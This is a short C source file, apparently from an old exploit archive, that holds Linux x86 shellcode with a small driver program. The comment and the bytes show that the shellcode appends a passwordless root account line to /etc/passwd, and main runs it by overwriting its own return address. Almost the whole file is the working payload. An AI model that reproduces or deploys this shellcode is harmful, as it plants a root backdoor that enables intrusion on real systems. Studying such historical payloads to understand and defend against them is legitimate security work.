home *** CD-ROM | disk | FTP | other *** search
- /*
- * Source to this is pass.s
- * This will append a root line to the passwd file (see the source).
- *
- * Shok (Matt Conover), shok@dataforce.net
- */
-
- char shellcode[]=
- "\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb"
- "\x30\xc0\x88\x43\x0b\x31\xc9\x66\xb9\x41\x04\x31\xd2\x66\xba\xa4"
- "\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x41\x01\xf9\x31"
- "\xd2\xb2\x1f\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x2f"
- "\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x01\x77\x30\x30\x77\x30"
- "\x30\x3a\x3a\x30\x3a\x30\x3a\x77\x30\x77\x30\x77\x21\x3a\x2f\x3a"
- "\x2f\x62\x69\x6e\x2f\x73\x68\x0a";
-
- void main()
- {
-
- int *ret;
-
- printf("w00w00!\n");
- ret = (int *)&ret + 2;
- (*ret) = (int)shellcode;
- }
-